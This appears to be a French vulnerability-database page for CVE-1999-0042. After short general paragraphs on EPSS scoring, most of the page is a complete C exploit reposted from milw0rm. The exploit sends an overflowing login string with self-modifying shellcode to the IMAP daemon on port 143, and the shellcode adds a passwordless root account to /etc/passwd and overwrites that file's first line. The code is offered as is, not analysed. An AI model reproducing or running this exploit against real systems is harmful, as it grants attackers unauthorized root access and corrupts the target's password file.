CVE-1999-0042 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* This is the remote exploit of the hole in the imap daemon, for Linux. The instruction code is doing open(), write(), and close() system calls, and it adds a line root::0:0.. at the beggining of /etc/passwd (change to /etc/shadow if needed). The code needs to be self modifying since imapd turns everything to lowercase before it pushes it on the stack. The problem is that it rewrites the first line of passwd/shadow, therefore loosing the root password. I'm sorry, but I don't have time to add in the seek syscall. - Akylonius (aky@galeb.etf.bg.ac.yu) [1997] Modifications made on 5.1.97 to accept command line hostname, with 'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org) */ #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <arpa/inet.h> #include <netdb.h> char *h_to_ip(char *hostname); char *h_to_ip(char *hostname) { struct hostent *h; struct sockaddr_in tmp; struct in_addr in; h = gethostbyname(hostname); if (h==NULL) { perror("Resolving the host. \n"); exit(-1); } memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length); memcpy(&in,&tmp.sin_addr.s_addr,4); return(inet_ntoa(in)); } void banner(void) { system("clear"); printf("\nIMAP Exploit for Linux.\n"); printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n"); printf(" Modifications: p1 (p1@el8.org)\n"); } main(int argc, char **argv) { int fd; struct sockaddr_in sckdaddr; char *hostname; char buf[4092]; int i=8; char realegg[] = "\xeb\x58\x5e" "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26" "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8" "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2" "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31" "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31" "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1" "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83" "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80" "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff" "/etc/passwdxroot::0:0:r00t:/:/bin/bashx"; char *point = realegg; buf[0]='*'; buf[1]=' '; buf[2]='l'; buf[3]='o'; buf[4]='g'; buf[5]='i'; buf[6]='n'; buf[7]=' '; banner(); if (argc<2) { printf("\nUsage: %s <hostname>\n\n", argv[0]); exit(-1); } hostname=argv[1]; while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */ buf[i++]=0x90; while(*point) buf[i++]=*(point++); buf[i++]=0x83; /* ebp */ buf[i++]=0xf3; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=0x88; /* ret adr */ buf[i++]=0xf8; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=' '; buf[i++]='b'; buf[i++]='a'; buf[i++]='h'; buf[i++]='\n'; buf[i++]=0x0; if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n"); sckdaddr.sin_port=htons(143); sckdaddr.sin_family=AF_INET; sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname)); if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0) perror("Error with connecting. \n"); printf("hmm: \n"); getchar(); write(fd,buf,strlen(buf)+1); printf("hmm: \n"); close(fd); } // milw0rm.com [1997-06-24]